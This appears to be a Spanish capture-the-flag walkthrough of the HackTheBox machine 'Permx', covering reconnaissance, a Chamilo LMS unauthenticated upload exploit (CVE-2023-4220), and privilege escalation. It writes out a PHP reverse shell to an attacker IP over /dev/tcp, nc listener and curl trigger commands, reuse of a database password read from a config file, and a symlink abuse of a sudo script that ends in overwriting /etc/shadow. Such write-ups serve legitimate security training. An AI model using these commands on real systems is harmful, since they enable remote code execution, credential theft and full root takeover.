Permx

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

nmap -vvv -p 22,80 -sV -sC -oN nmap.txt 10.129.215.161
Nmap scan report for 10.129.215.161
Host is up, received syn-ack (0.029s latency).
Scanned at 2024-07-08 05:11:12 EDT for 7s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeracion

Enumeramos subdominios con ffuf.

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -fw 18
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 30ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 1257ms]

El subdominio lms.permx.htb muestra que esta usando la aplicacion chamilo.

Chamilo LMS Unauthenticated Big Upload File Remote Code Execution (CVE-2023-4220)

Investigando exploits publicos ubicames el siguiente que nos permite obtener RCE.

https://starlabs.sg/advisories/23/23-4220/

Creamos nuestro archivo php.

echo '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.54/1234 0>&1\""); ?>' > rce.php

Subimos nuestro archivo.

curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Consultamos la reverse shell.

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Obtenemos la shell.

nc -lvnp 1234

Lateral Movement

En los directorios de la aplicacion encontramos el usuario y password de la base de datos este puede ser utilizando con el usuario mtz.

www-data@permx:/var/www/chamilo/app/config$ grep -ir DB_USER .   
./configuration.php:$_configuration['db_user'] = 'chamilo';
www-data@permx:/var/www/chamilo/app/config$ grep -ir DB_PASSWORD .
./configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
www-data@permx:/var/www/chamilo/app/config$ su mtz
Password: 
mtz@permx:/var/www/chamilo/app/config$

Privilege Escalation

El usuario tiene privilegios de sudo para el siguiente comando.

mtz@permx:/var/www/chamilo/app/config$ sudo -l 
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

El script nos permite modificar los permisos de los archivos ubicados en /home/mtz únicamente, restringiendo la entrada .. para evitar el path traversal. Sólo comprueba el prefijo de la ruta y no la ruta final resuelta del enlace simbólico.

Así, podemos crear un Enlace Simbólico que apunte a un fichero o directorio sensible.

ln -s / doom
sudo /opt/acl.sh mtz rwx /home/mtz/doom/etc/shadow

Ahora sobreescribimos el archibo shadow con nuestro hash.

openssl passwd -6 doom
echo 'root:$6$oUogR2sUeQMgUhgB$yWISe3AMF6Wg3gyNB7ypS/B4qJqSQRQtj6iAemNSY4P7.5s9FYBZB7x9rtyWTjSMLr1/xgZzL1oegR0PJTKcJ.:19742:0:99999:7:::' > /etc/shadow

Ahora nos autenticamos como root.